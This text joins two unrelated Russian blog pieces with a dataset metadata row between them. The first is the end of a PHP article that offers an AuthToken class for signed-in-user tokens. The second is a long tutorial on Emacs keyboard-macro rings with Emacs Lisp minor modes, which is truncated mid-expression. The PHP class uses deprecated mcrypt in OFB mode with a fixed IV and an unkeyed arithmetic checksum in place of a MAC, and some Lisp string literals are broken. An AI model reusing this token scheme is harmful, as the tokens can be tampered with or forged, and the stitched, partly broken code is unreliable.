Перейдём к реализации. Я реализовал данное решение в одном классе с двумя статическими методами.
``> Copy Source | Copy HTML
> php</font
>
> class AuthToken {
> private static $key = "секретный ключ";
> private static $iv = "должен быть каждый раз случайным, но для данного решения подойдёт просто секретный";
>
> private static function int2char($int) {
> $char = "";
> $hex = sprintf("%08x", $int);
> for ($i = 0; $i < 4; $i++) {
> $char .= chr(hexdec(substr($hex, $i \* 2, 2)));
> }
> return $char;
> }
>
> private static function char2int($char) {
> $int = 0;
> $hex = "";
> for ($i = 0; $i < 4; $i++) {
> $hex .= sprintf("%02x", ord($char{$i}));
> }
> $int = hexdec($hex);
> return $int;
> }
>
> public static function create($id, $expire = 0, $mode = 0) {
> $id = intval($id);
> $expire = intval($expire);
> $mode = intval($mode);
> if ($id < 0 || $expire < 0 || $mode < 0) {
> return null;
> }
>
> $info = array();
> $info["id"] = $id;
> $info["time"] = time();
> $info["expire"] = $expire;
> $info["mode"] = $mode;
> $info["rnd"] = ceil(mt\_rand( 0, 255));
> $info["sum"] = $info["time"] - $info["expire"] - $info["mode"] - $info["rnd"] - $info["id"];
> $info = self::int2char($info["id"]) . self::int2char($info["time"]) . self::int2char($info["expire"]) . chr($info["mode"]) . chr($info["rnd"]) . self::int2char($info["sum"]);
>
> $token = mcrypt\_encrypt(MCRYPT\_RIJNDAEL\_256, md5(self::$key), $info, MCRYPT\_MODE\_OFB, md5(self::$iv));
> $tokenHex = "";
> $tokenLength = strlen($token);
> for ($i = 0; $i < $tokenLength; $i++) {
> $tokenHex .= sprintf("%02x", ord($token{$i}));
> }
> return $tokenHex;
> }
>
> public static function check($tokenHex, $mode = null) {
> $token = "";
> $tokenHexLength = strlen($tokenHex) / 2;
> for ($i = 0; $i < $tokenHexLength; $i++) {
> $token .= chr(hexdec(substr($tokenHex, $i \* 2, 2)));
> }
> $info = mcrypt\_decrypt(MCRYPT\_RIJNDAEL\_256, md5(self::$key), $token, MCRYPT\_MODE\_OFB, md5(self::$iv));
> if (strlen($info) == 18) {
> $info = array("id" => self::char2int(substr($info, 0, 4)), "time" => self::char2int(substr($info, 4, 4)), "expire" => self::char2int(substr($info, 8, 4)), "mode" => ord($info{12}), "rnd" => ord($info{13}), "sum" => self::char2int(substr($info, 14, 4)));
> if ($info["sum"] == $info["time"] - $info["expire"] - $info["mode"] - $info["rnd"] - $info["id"]) {
> if ($info["expire"] > 0) {
> if ($info["expire"] + $info["time"] < time()) {
> return false;
> }
> }
> if ($info["mode"] > 0) {
> if ($mode !== null) {
> if ($info["mode"] != $mode) {
> return false;
> }
> }
> }
> return $info["id"];
> } else {
> return false;
> }
> } else {
> return false;
> }
> }
> }
>
> ?>
>
>`
**Ключи self::$key и self::$iv, в целях безопасности, лучше хранить отдельно от алгоритма.**
(string) AuthToken::create($id, $expire = 0, $mode = 0)
Создаёт ключ.
(mixed) AuthToken::check($tokenHex, $mode = null)
Проверяет валидность ключа. В случае успешной проверки возвращает ID пользователя, иначе логическое FALSE.
Если не указывать $expire и/или $mode — они не будут учитываться при проверке ключа. Если не указывать $mode при проверке — он так же не будет учитываться.
#### Если ничего не помогает?
Такое решение не подойдёт если нужен одноразовый ключ. Но это можно решить небольшими костылями. Например установка в memchache флага проверки такого ключа в сочетании с ограниченным временем действия ключа дадут нужный результат в большинстве случаев.
Ну а дальше — либо фантазия либо БД.` | https://habr.com/ru/post/109421/ | null | ru | null |
# Макросы в Emacs'е: формируем отряды для обработки
*Не забывай свои корни, помни, есть вещи на порядок выше…
Каста здесь*
История из жизни
================
Многие начинали свою компьютерную жизнь с игр. Кто не начинал, тот играет в шахматы на деревянной доске, как какой-нибудь президент. Я не играю в шахматы, я играю в Starcraft и другие подобные игры. Когда-то я играл многими часами, но время прошло и игры перешли в серьёзные занятия, дающие какой-то результат. В то же время хоть игры и переродились, но привычки остались старые. Иногда хочется поиграть.
Чего нет в шахматах? В шахматах нет живых патрулей, отрядов, минных полей в самых излюбленных местах и много чего ещё, чего так порой не хватает, в то время как ты перекомпилируешь какую-нибудь программу, редактируя её. Ностальгия захватывает и мы медленно начинаем искать что-нибудь подобное в программном окружении. И находим!
Сегодня мы поговорим о весёлых макросах.
В Emacs'е есть два вида макросов — скучные и весёлые. Скучные — это макросы в лиспе, а весёлые — это клавиатурные макросы, хорошо знакомые многим. Вот про вторые и пойдёт речь.
Затравка — осваиваем кнопки
===========================
*Когда запускаешь игру в первый раз, видишь перед собой одного строителя, который стоит и ничего не делает. Погоняв его по окрестностям, начинаешь что-то строить, а заодно замечаешь выделенные буквы в названиях зданий и действий. Эти буквы — ключи доступа, через которые можно быстро выполнять действия. В дальнейшем игра сводится к последовательному нажатию этих букв в нужное время.*
Что такое макрос?
-----------------
Все знают, что есть такие штуки в программах, которые называются «макросы», да и сам Emacs в корне своего названия содержит это понятие (Editor MACroS), поэтому не знать это понятие при пользовании Emacs'ом и не попробовать их — стыдобе подобно. Одновременно с этим не все знают макросы дальше F3 и F4 по аналогии с макросами в других программах, в которых они, действительно, находятся в зачаточном состоянии.
Какие в Emacs'е макросы?
------------------------
Макросы в Emacs'е, вообще говоря, из общего с другими программами только клавиатурное записывание и имеют. В остальном — это мощнейший аппарат, который можно использовать на полную катушку, до которой, как правило, никто не доходит. Один парнишка на просторах Интернета посреди множества приличных настроек для Emacs'а даже предложил на макросное сочетание повесить другое действие, потому что оно мол не используется никогда. Судя по всему, он думал, что макросы Emacs'а такие же, как и везде, и сводятся к двум клавишам — записи и воспроизведению.
В Emacs'е же дело обстоит совсем по-другому:
Во-первых, при записи макросов они попадают в кольцо макросов, для которого определён ряд операций. То есть макросы туда не просто записываются для воспоминаний о них, а их можно выбирать, гуляя по кольцу туда и обратно. И можно не просто гулять по кольцу, а ещё и заходить в каждый макрос, внося в него изменения.
Во-вторых, это кольцо само по себе не простое. К нему привязаны такие клавиши управления, которые расчитаны на постоянные операции с ним, из-за чего начальная комбинация клавиш для доступа к кольцу запоминается Emacs'ом, чтобы её не нужно было каждый раз нажимать.
Если нажать Ctrl + x + Ctrl + k, то произойдёт вход в клавишное пространство имён. После этого, удерживая Ctrl, можно нажимать многие клавиши, отвечающие за действия с кольцом и текущим макросом.
Рассмотрим на примере:
1) Запишем два макроса. Первый макрос будет вставлять число 1, а второй — число 2.
`F3 1 F4
F3 2 F4`
Снизу после каждого нажатия на F3 будет видно, что запись началась, а после каждого нажатия на F4 будет видно, что макрос записан. После этих действий в буфере выведено 12 и у нас есть невидимое кольцо, в котором два макроса. Второй макрос является выбранным (или активным).
2) Запустим выбранный макрос. Многие бы захотели сейчас нажать F4, ведь это так просто, но мы не будем её нажимать. Мы сейчас проходим кольцо, а не то, как макрос можно по-быстрому выполнить.
Нажимаем длинный запуск
`Ctrl + x + Ctrl + k + Ctrl + k`
Увидели, что вставилась цифра 2, при этом мы Ctrl не отпускаем, а продолжаем дальше нажимать кнопки
`Ctrl + p + Ctrl + k`
И сначала после p видим, что внизу (в минибуфере) что-то пишется (цифра 1), а потом после k видим, как вставляется цифра 1. Всё так же, удерживая Ctrl, мы нажимаем дальше
`Ctrl + n + Ctrl + k`
И сначала после n видим, что внизу точно так же пишется информация о текущем макросе (цифра 2), а потом после k видим, как вставляется цифра 2.
3) Отпускаем все кнопки. На экране осталось 12212. Первые две цифры участвовали в записи макросов, остальные три цифры — результат выполнения макросов.
Что же произошло? Мы записали два простых макроса, а потом вошли в клавишное пространство имён через нажатие префиксной комбинации Ctrl + x + Ctrl + k. Действуя в этом пространстве имён, мы сначала выполнили второй макрос, потом переключились со второго макроса на первый и выполнили первый, а потом переключились с первого макроса обратно на второй и снова выполнили второй.
Если вы делали всё правильно, то левый Ctrl после входа в пространство ни разу не отпускался и при этом правой рукой нажимались только клавиши k p k n k.
В этом и заключается различие в запуске макроса: если у нас макрос-одиночка, то нам удобнее запускать его через F4; если же у нас несколько макросов в кольце и нужно запускать их попеременно, то мы пользуемся длинным запуском.
Что ещё можно делать с этим кольцом?
------------------------------------
Само кольцо можно вращать, меняя текущий элемент, поэтому у кольца нет фиксированного начала или конца. В каждый момент времени последним элементом в кольце считается текущий элемент, а первым — элемент, следующий за ним. Когда будет записываться новый макрос, он будет добавляться в кольцо после текущего элемента, становясь последним элементом в кольце. Так можно формировать желаемый порядок макросов в кольце.
Большая часть операций с кольцом (переходы вперёд **n** и назад **p**, выполнение **k**, удаление **d**, редактирование **e** макроса) действует точно так же, требуя лишь нажатия одной кнопки, что делает использование кольца скоростным и удобным. Но встречаются и операции, которые, по идее, должны работать так же, но не работают. Возможно, они были добавлены позже другим автором, который не заметил этой экосистемы.
Чтобы почистить кольцо, удалив некоторые элементы или вообще все, нужно нажать
`Ctrl + x + Ctrl + k + Ctrl + d`
А потом просто, удерживая Ctrl, нажимать d d d.
А поменять очерёдность макросов можно через
`Ctrl + x + Ctrl + k + Ctrl + t`
Иногда это требуется совместно с чисткой кольца от неудавшихся макросов.
И вот это — как раз тот случай, когда удаление элементов срабатывает в сокращённом варианте, а обмен элементов — только в полном. Так что чаще всего нужно просто знать, какие действия надо набирать в полном виде. Как правило, объединяет такие неудобные действия между собой то, что они используются реже основных.
По длине ограничение кольца составляет 8 макросов, но в настройках Emacs'а, понятное дело, его легко можно увеличить (например, поставить 32). Много это или мало — для отдельных макросов, записанных вручную, может показаться, что 8-ми достаточно. Но чтобы серьёзно этим пользоваться, 8 — маловато.
Делаем первых бойцов
====================
*Погоняв строителя, когда мы построили первые здания, открытые для строительства, мы обнаруживаем бараки, в которых можно делать простейших бойцов. Обычно их два: один — для близкого боя, другой — для дальнего. По мере их создания мы точно так же замечаем выделенные буквы для быстрого доступа к данным бойцам и их действиям.*
Как можно создать макрос?
-------------------------
Поначалу мы, конечно же, записываем их через F3 F4. Потом мы находим редактор макросов, в котором обнаруживаем единственную возможность редактирования уже записанных макросов, и всё возвращается обратно к F3 F4.
На самом деле, есть два состояния кольца: в кольце ничего нет и в кольце что-то есть. И для этих двух состояний есть свои способы создания нового макроса.
Когда в кольце макросов ничего нет и мы просто хотим создать макрос, мы можем применить следующие способы:
1) Запустить редактор макроса, который предложит создать макрос.
`Ctrl + x + Ctrl + k + Ctrl + e y`
Этот способ требует, чтобы в макрос было обязательно что-то записано, пустой макрос создать не получится.
2) Применить хак к F3 F4.
`F3 + Ctrl + u + F4`
Emacs в минибуфере пишет ошибку, но абсолютно пустой макрос создаётся.
`Wrong type argument: integerp, (4)`
3) Запустить команду чтения макроса из текста.
`Ctrl + SPC + Ctrl + SPC + Alt + x + read-kbd-macro`
Здесь есть побочный эффект: так как мы ставим и убираем маркер, меняется кольцо маркеров, которое где-то может быть нужно. Через Ctrl + u + Ctrl + SPC обычно можно гулять по этому кольцу, таким образом может появиться лишняя позиция.
Когда в кольце макросов есть хотя бы один макрос и мы просто хотим добавить макрос, мы можем применить следующие способы:
1) Скопировать макрос через однострочный редактор макросов.
`Ctrl + x + Ctrl + k + SPC + Ctrl + k`
Откроется редактор для текущего макроса, но из-за Ctrl + k макрос скопируется в новый макрос, отбросив всё содержимое.
2) Применить хак к F3 F4.
`F3 + Ctrl + u + F4`
Здесь способ тот же самый, как и с пустым кольцом.
Когда в кольце есть макросы, команда read-kbd-macro не будет создавать новый макрос, а выполнит запись в выбранный. Поэтому здесь способ с этой командой не работает. Можно только перезатереть выбранный макрос, который может содержать что-то важное.
Тут у многих может возникнуть вопрос «а зачем нам пустой макрос?». Дело в том, что макросы бывают большие и маленькие, сложные и простые. Записывание макроса может потребовать гораздо больше времени, чем его быстрая запись через редактор. К тому же не всегда кажущаяся правильной запись макроса оказывается такой при его выполнении. Нужно уметь пользоваться редактором, тем более, что он элементарный.
Как можно редактировать макрос?
-------------------------------
Для следующего эксперимента нам нужно будет сделать два макроса и приготовить третий совершенно пустой
`F3 123 F4
F3 456 F4
F3 Ctrl+u F4`
У нас есть три макроса в кольце: один — вставляет 123, другой — вставляет 456, третий макрос пустой и является выбранным. Нам нужно в третий макрос записать содержимое первых двух.
Мы переходим в первый макрос
`Ctrl + x + Ctrl + k + Ctrl + n`
Открываем его на редактирование
`Ctrl + e`
Мы видим
```
;; Keyboard Macro Editor. Press C-c C-c to finish; press C-x k RET to cancel.
;; Original keys: 123
Command: last-kbd-macro
Key: none
Macro:
123 ;; self-insert-command * 3
```
Переходим в строку наверху, где написано
```
;; Original keys: 123
```
И копируем в буфер 123.
Потом просто закрываем буфер
`Ctrl + x + k +`
Затем переходим во второй макрос
`Ctrl + x + Ctrl + k + Ctrl + n`
Открываем его на редактирование
`Ctrl + e`
Мы видим
```
;; Keyboard Macro Editor. Press C-c C-c to finish; press C-x k RET to cancel.
;; Original keys: 456
Command: last-kbd-macro
Key: none
Macro:
456 ;; self-insert-command * 3
```
Переходим в строку наверху, где написано
```
;; Original keys: 456
```
И копируем в буфер 456.
Потом просто закрываем буфер
`Ctrl + x + k +`
Затем переходим в третий макрос
`Ctrl + x + Ctrl + k + Ctrl + n`
Открываем его на редактирование
`Ctrl + e`
Мы видим
```
;; Keyboard Macro Editor. Press C-c C-c to finish; press C-x k RET to cancel.
;; Original keys:
Command: last-kbd-macro
Key: none
Macro:
```
И вставляем после строки «Macro:» через Ctrl + y, Alt + y, Ctrl + y наши скопированные строки 456 и 123.
```
;; Keyboard Macro Editor. Press C-c C-c to finish; press C-x k RET to cancel.
;; Original keys:
Command: last-kbd-macro
Key: none
Macro:
123
456
```
Дальше сохраняем его через Ctrl + c + Ctrl + c.
Теперь у нас в кольце три макроса: первый — 123, второй — 456, третий — 123456.
Естественно, мы могли бы всё это написать вручную (123456), ничего не копируя, но эти макросы слишком простые. В более сложных случаях записать последовательность сходу будет не так просто, а записывание через F3 крупного макроса может утонуть в ошибках. Поэтому записываются друг за другом небольшие макросы, а сверху в редакторе всегда есть их полная запись, которую можно просто скопировать.
Второй способ, который тоже часто используется, — это через read-kbd-macro. Мы просто выделяем текст и выполняем read-kbd-macro. Тогда на каком бы макросе мы не находились (полном или пустом), он перезапишется этим текстом. Только нужно помнить, что пробелы и переводы строк исчезнут.
Пробелы в редакторе пишутся в виде SPC SPC SPC, поэтому копирование через редактор мало когда требует дополнительных действий.
Что есть в макросе?
-------------------
Из чего состоит макрос — из трёх вещей: последовательность нажатий, счётчик и форматная строка счётчика. Есть ещё две вещи, которые часто можно заметить, — имя макроса и его клавиатурное сочетание. Если первые три вещи есть в каждом макросе, то оставшиеся две являются внешними и крепятся к макросу по желанию через дополнительный код. Поэтому их можно как привязать к макросу, так и отвязать от него.
Сам счётчик внутри макроса может сбить с толку, так как сразу не очевидно, как он меняется при вызове макроса. Ответ прост: он никак не меняется. Этот счётчик просто хранится в макросе и работает совершенно независимо от него. А форматная строка относится только к счётчику, определяя его вывод.
Из того, что часто используется из макросных внутренностей, можно выделить только «запрос на продолжение». Суть его сводится к следующему: во время работы макрос по специальному признаку в своей последовательности определяет, что нужно остановиться и спросить пользователя о дальнейших действиях. Зачем это нужно? У команды выполнения макроса есть аргумент, который задаёт количество его повторений. И когда мы макросом обрабатываем какие-нибудь неизвестные данные, используя аргумент для автоматического повторения макроса, часто их нужно обрабатывать селективно, потому что макрос во время такого выполнения может находить фрагменты, которые нужно пропустить.
Если даже мы записали макрос без этого «запроса на продолжение», то мы его можем добавить через редактор макросов в любой момент. Если же мы его добавили, а он стал не нужен, то через редактор его можно так же быстро убрать.
И выглядит он так
`C-x q`
Можно прямо открыть макрос 123 и между цифрами вставить такие строки, а потом запустить его и увидеть запрос на продолжение
```
;; Keyboard Macro Editor. Press C-c C-c to finish; press C-x k RET to cancel.
;; Original keys: 1 C-x q 2 C-x q 3
Command: last-kbd-macro
Key: none
Macro:
1 ;; self-insert-command
C-x q ;; kbd-macro-query
2 ;; self-insert-command
C-x q ;; kbd-macro-query
3 ;; self-insert-command
```
Если мы запустим теперь макрос с аргументом
`Alt + 5 + F4`
При выполнении он будет каждый раз в соответствующих местах спрашивать, записать цифру и продолжить или не записывать цифру и продолжить.
Если кто не заметил, то сейчас всё уже готово к проверке этого эксперимента. Вы можете прямо из этого текста скопировать макрос из строки с ";; Original keys:" в буфер, открыть редактор макросов у себя в Emacs'е через Ctrl + x + Ctrl + k + Ctrl + e, вставить эту строку после строки «Macro:», нажать Ctrl + c + Ctrl + c, а потом нажать Alt + 5 + F4.
Какие макросы делать, крупные или мелкие?
-----------------------------------------
Когда делаешь макросы в любых программах, возникает вопрос, как лучше сделать, один крупный или много мелких. Опыт подсказывает, что крупный макрос даже во время записывания может навернуться и его придётся перезаписывать с таким же риском. Если же говорить о хранении, то при малейшем изменении данных, которые он преобразует, нужно будет заниматься его изменением, а изменение приводит к отладке. Легко увязнуть в таком макросе, просто начав редактирование через него какого-то неважного текста.
Есть ещё один аспект — макросы требуют повторений. Часто бывает так, что нужно повторить лишь малое подмножество действий всего макроса циклически. Для этого из монолита пришлось бы их выделять и точно так же делать из них маленький макрос, как можно было бы сделать с самого начала.
Поэтому мелкие макросы лучше. Их можно повторять, их можно заменять, их можно править и легко менять их порядок без разрушения всей системы.
Отправляем солдат в первый поход
================================
*Когда первые солдатики сделаны, они отправляются в поход, чтобы что-нибудь разломать и с кем-нибудь подраться. Так выясняется сила, броня и скорость разных видов бойцов, чтобы потом можно было их правильно распределять при спланированных походах.*
Какие макросы бывают?
---------------------
Очень часто макросы применяются только к тексту, так как остальные их возможности неочевидны. В Emacs'е макросы можно разделить на три вида: для изменения текста, для изменения внешнего вида и для выполнения функций.
Большинство действий по созданию окон во фрейме и изменению их размеров мы выполняем многократно, но немногие знают, что всё это можно делать макросами. Сейчас мы запишем простой макрос и поиграем с ним.
1) Откроем редактор и запишем первый макрос.
`C-x 2 C-x 3 C-x o C-x o C-x 3 C-x o`
2) Запишем второй макрос.
`123`
3) Теперь в чистом окне выберем первый макрос и запустим его три раза.
`Alt + 3 + Ctrl + x + Ctrl + k + Ctrl + k`
Не отпуская Ctrl, перейдём ко второму макросу
`Ctrl + n`
Не отпуская Ctrl, запустим его
`Ctrl + k`
Если сделали правильно, увидите такую картину
**Показать**
Несложно сделать и такую картинку
**Показать**
И такую
**Показать**
Как видите, мы всего лишь записали простой макрос разделения окон, а делать им можно такие разные узоры.
Более полезный пример — это открытие двух независимых консолей. Если мы программируем, то часто нужно в одной консоли запускать одно, а в другой — другое. Одновременно с этим нам нужно редактировать исходник.
Запишите макрос и выполните
`C-x 2 C-x o C-x 3 C-u <> shell-compil RET C-x o C-u <> shell-exec RET M-- 2 C-x o`
Увидите текстовый буфер с двумя разными консолями под ним
**Показать**
А теперь запишите такой макрос
`C-x o C-x k RET yes RET C-x o C-x k RET yes RET C-x 0 C-x 0`
Это обратное действие — закрытие окон с консолями. Теперь набор консолей можно одним макросом открывать, а другим — закрывать. А переключаться между этими макросами можно уже известным нам способом.
Вот ещё пример макроса, но уже не обрабатывающего текст или создающего окна, а выполняющего какой-то набор действий в режиме файлового менеджера.
Запишите макрос
`+ d i r 2\*RET C-x C-f f i l e . t x t RET a b c d C-x C-s C-x k RET g ^ g`
Установите ему счётчик
`Ctrl + x + Ctrl + k + Ctrl + c
1
RET`
Создайте где-нибудь директорию и перейдите в неё через Ctrl + x + d. Выполнив в ней макрос пять раз, вы увидите пять созданных директорий, где в каждой директории будет свой файл со своим текстом.
**Показать**
Так можно создавать и удалять деревья каталогов, менять содержимое файлов или их внешние данные вроде прав или имён. Точно так же можно применять макросы в консолях для автоматического компилирования и запуска программ. К тому же один макрос может взаимодействовать с разными консолями, переключаясь между ними.
Вот ещё пример
`echo SPC x RET C-x o echo SPC y RET C-x o`
**Показать**
Готовим солдат на базе
======================
*Когда мы выяснили в первом бою возможности разных видов солдатиков, мы можем уже делать конкретные виды для решения уже определённых задач и накапливать их в безопасном месте, где никто не будет их трепать. Начинаем выяснять, какой состав и в каком количестве эффективнее действует.*
Как припрятать макросы?
-----------------------
Когда в течение сессии Emacs'а мы наделали много всяких удобных макросов, их становится жалко выбрасывать. Поиски в Интернете мало что дают, на лучших страницах, посвящённым Emacs'у, написано только о преобразовании макроса в лисповый вид и дальнейшем сохранении в виде обычной функции. Кажется, это то, что нужно, но тут сталкиваешься с известной проблемой: у этой функции нужно запоминать имя, которое будет забыто уже через пару дней. Есть ещё сложнее вариант — когда будет забыт сам макрос. При сложении эти двух вещей получается <забытый макрос> + <забытое имя> = 0. Но самое главное, и это основная проблема, — такие макросы не вставляются в кольцо макросов, поэтому выпадают из этого чудесного аппарата. Получается расслоение макросов на те, которые были сохранены, и те, которые записаны во время текущей сессии.
Чтобы преобразовать макрос в лисповый вид, мы на него переключаемся и запускаем insert-kbd-macro.
Вот макросы 123 и 456
```
(setq last-kbd-macro
"123")
(setq last-kbd-macro
"456")
```
Кажется, простенько и со вкусом, но для загрузки они не подходят, так как оба загружаются в последний макрос, а для этого придётся делать пустой макрос. Чтобы создать макросы, пригодные для загрузки, нужно дать им обоим имена через Ctrl + x + Ctrl + k + n (не путать с переключением на следующий макрос).
Когда у них есть имена onetwothree и fourfivesix, команда insert-kbd-macro работает уже по-другому
```
(fset 'onetwothree
(lambda (&optional arg)
"Keyboard macro."
(interactive "p")
(kmacro-exec-ring-item (quote ("123" 0 "%d")) arg)))
(fset 'fourfivesix
(lambda (&optional arg)
"Keyboard macro."
(interactive "p")
(kmacro-exec-ring-item (quote ("456" 0 "%d")) arg)))
```
Вот это теперь закидывается в лисповый файл, который подключается к файлам инициализации Emacs'а. Это считается классическим вариантом сохранения макросов, которые при следующей загрузке Emacs'а будут доступны под этими именами. При этом не учитывается, что кольцо макросов будет пустым.
Свой способ был найден быстро. Пришлось это всё расковырять и добраться до кольца, а потом научиться в него заталкивать макросы без всяких имён.
```
(defun make-my-macros()
"Make macros."
(interactive)
(add-to-list 'kmacro-ring '("123" 0 "%d"))
(add-to-list 'kmacro-ring '("456" 0 "%d")))
(make-my-macros)
```
Теперь, выполнив этот код через eval-buffer, можно в любой момент загрузить макросы в кольцо, при этом кольцо остаётся открытым к записи новых макросов. Если этот код закинуть в файл инициализации, то для перезагрузки макросов достаточно будет вызывать функцию.
Почему это лучше обычных функций?
---------------------------------
Даже если вы хорошо знаете лисп (даже не сам лисп, а названия внутренностей Emacs'а), в любом случае написание одной функции будет занимать больше времени, чем запись макроса. В то же время внесение любых изменений в функцию будет пресекаться из-за сложностей отладки, сохранения и перезагрузки функции. Соместная работа одной функции в симбиозе с другими тоже не будет ладиться, так как многие неважные вещи придётся запоминать наизусть. А макросы — сегодня они здесь, а завтра — там. Они более свободные. Их можно менять на ходу и копировать без каких-либо проблем и страха потери или страха последующей тяжёлой отладки. Если в макросе ошибка, он просто копируется и все эксперименты проводятся на копии в редакторе макросов. Когда всё готово, старый вариант удаляется и новый передвигается на его место. При этом эффект от одного маленького макроса зачастую равен эффекту от кучи функциональных конструкций.
Нам нужны отряды и командование
===============================
*Подобрав наиболее подходящие единицы, мы делаем несколько разных отрядов. Один отряд сносит башни, другой отряд защищает первый отряд, третий отряд идёт на прорыв границы, а четвёртый отряд транспортирует раненых лечиться и заменяет их на свежие силы. И для всего этого требуется система, чтобы не путать отряды во время боя.*
Как управлять несколькими функциями?
------------------------------------
Не так давно я [разбирался с режимами](https://habrahabr.ru/post/268709/) Emacs'а. Тогда нужно было избавиться от путаницы со множеством функций, которые не только хотелось иметь одновременно у себя в арсенале, но и чтобы они не конфликтовали по именам и клавиатурным сочетаниям. Тогда я изучил, как делать это естественным для Emacs'а образом — и всё закончилось созданием одного главного режима и нескольких побочных, которые к нему прицепляются через хуки.
В общем, чтобы иметь несколько функций в упорядоченном виде, нужно создать малый режим. А внутри режима уже можно вызовы функций привязать к клавиатурным сочетаниям, которые будут устанавливаться при включении режима и сниматься при выключении. Так мы можем создать несколько малых режимов для разных контекстов, а потом наполнить каждый режим его индивидуальными макросами.
У меня есть несколько режимов: один — для Хабры, другой — для Ютьюба, остальные — для форумов. И в некоторых из них уже сложилась своя система функций и макросов. В каждом режиме макросы сгруппированы по задачам и для каждой задачи можно загрузить в кольцо её набор макросов. К тому же саму задачу и состав макросов в ней можно описать в комментарии в функции, который потом легко просматривать через помощь режима, доступную через Ctrl + h + m.
А вот как выглядит помощь к режиму для Хабры
```
Habra minor mode (indicator Habr):
Mode for `http://www.habrahabr.ru'.
key binding
--- -------
C-c Prefix Command
C-c m Prefix Command
C-c m h Prefix Command
C-c m h c Prefix Command
C-c m h m Prefix Command
C-c m h q habra-wrap-quote
C-c m h m g habra-make-macro-general
C-c m h c 1 habra-wrap-code
C-c m h c 2 habra-wrap-source
```
А так выглядит помощь к режиму для Ютьюба
```
Youtube minor mode (indicator YouTube):
Mode for `https://www.youtube.com'.
key binding
--- -------
C-c Prefix Command
C-c m Prefix Command
C-c m y Prefix Command
C-c m y m Prefix Command
C-c m y m g youtube-make-macro-general
C-c m y m p youtube-make-macro-playlist
```
Всегда можно вспомнить имена функций таким образом, а потом зайти в эти функции и посмотреть их комментарий про макросы в них.
Сам режим для Хабры выглядит так
**Исходник**
```
;; Habra mode
(defun habra-wrap-quote()
"Wrap selection to tags."
(interactive)
(if (not (mark))
(set-mark (point)))
(narrow-to-region (mark) (point))
(goto-char (point-min))
(insert "
> ")
> (goto-char (point-max))
> (insert "
")
(set-mark (point-min))
(widen))
(defun habra-wrap-code()
"Wrap selection to tags."
(interactive)
(if (not (mark))
(set-mark (point)))
(narrow-to-region (mark) (point))
(goto-char (point-min))
(insert "`\n")
(goto-char (point-max))
(insert "\n`")
(set-mark (point-min))
(widen))
(defun habra-wrap-source()
"Wrap selection to tags."
(interactive)
(if (not (mark))
(set-mark (point)))
(narrow-to-region (mark) (point))
(goto-char (point-min))
(insert "\n")
(goto-char (point-max))
(insert "\n")
(set-mark (point-min))
(widen))
(defun habra-make-macro-general()
"Make general macros."
(interactive)
;; Add a title to spoiler
(add-to-list 'kmacro-ring '("\C-s
(add-to-list 'kmacro-ring '([?\C-u ?\C-s ?^ ?\\ ?\* ? ?\C-m ?\C-x ?q ?\M-2 ?\C-? ?\M-\\ ?< ?h ?1 ?> ?\C-e ?\M-\\ ?< ?/ ?h ?1 ?>] 0 "%d"))
;; Replace \*\* to
(add-to-list 'kmacro-ring '([?\C-u ?\C-s ?^ ?\\ ?\* ?\\ ?\* ? ?\C-m ?\C-x ?q ?\M-3 ?\C-? ?\M-\\ ?< ?h ?2 ?> ?\C-e ?\M-\\ ?< ?/ ?h ?2 ?>] 0 "%d"))
;; Change < to <
(add-to-list 'kmacro-ring '("\C-s<\C-m\C-xq\C-?<" 0 "%d"))
;; Change > to >
(add-to-list 'kmacro-ring '("\C-s>\C-m\C-xq\C-?>" 0 "%d"))
;; Change leading space to
(add-to-list 'kmacro-ring '("\C-u\C-s^ \C-m\C-xq\C-? " 0 "%d"))
;; Change double space to
(add-to-list 'kmacro-ring '("\C-u\C-s \C-m\C-xq\C-? " 0 "%d"))
)
(defvar habra-mode-map
(let ((map (make-sparse-keymap)))
(define-key map (kbd "C-c m h q") 'habra-wrap-quote)
(define-key map (kbd "C-c m h c 1") 'habra-wrap-code)
(define-key map (kbd "C-c m h c 2") 'habra-wrap-source)
(define-key map (kbd "C-c m h m g") 'habra-make-macro-general)
map)
"Keymap for `habra-mode'.")
(define-minor-mode habra-mode
"Mode for `http://www.habrahabr.ru'.
\\{habra-mode-map}"
nil
" Habr"
nil
(if habra-mode
(progn
(habra-make-macro-general)
(add-to-list 'yas-extra-modes 'habra-mode)
(yas-minor-mode t))
(progn
(set 'yas-extra-modes (delete 'habra-mode yas-extra-modes)))))
(provide 'habra-mode)
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
```
Здесь видно, что сами режимы разделены по пространствам имён. C-c + m означает войти в один из своих малых режимов, дальше идёт первая буква названия — h (habra), а уже дальше, внутри режима, выбирается действие — m (macro) и потом подвид этого действия — g (general). Так, действительно, можно наделать много макросных групп, все их хорошо описать и перезагружать в любое время. При этом несколько малых режимов могут быть включены одновременно и ни в чём не мешать друг другу.
Если вы присмотритесь ещё лучше, то увидите, как разделены теги кода в режиме для Хабры. Сама клавиша c (code) сделана в виде пространства имён, а клавиши 1 и 2 являются именами в этом пространстве. То же самое можно делать и с макросными группами, создавая иерархию макросных групп.
Тут нужно отметить, что в любом малом режиме общая группа макросов должна загружаться автоматически сразу при подключении. Так показала практика, без этого для доступа к макросам нужно было постоянно вызывать комбинацию. Но остальные макросы автоматически не загружаются, потому что мы помним, что кольцо макросов имеет ограничение по длине. Поэтому в режиме для Ютьюба общие макросы грузятся при включении режима, а специальные макросы (для трансляции списка видео в таблицу для org-mode) всегда ждут загрузки через клавиатурное сочетание.
Содержимое режима для Ютьюба
**Исходник**
```
;; YouTube mode
(defun youtube-make-macro-general()
"Make general macros."
(interactive)
(add-to-list 'kmacro-ring '("https://www.youtube.com\C-j" 0 "%d"))
)
(defun youtube-make-macro-playlist()
"Make macros for saving playlist."
(interactive)
;; Скачивает ссылку из кольца
(add-to-list 'kmacro-ring
'([?\M-x ?b ?r ?o ?w ?s ?e ?- ?u ?r ?l ?- ?e ?m ?a ?c ?s return ?\C-y return] 0 "%d"))
;; Копирует область ссылок в кольцо
(add-to-list 'kmacro-ring
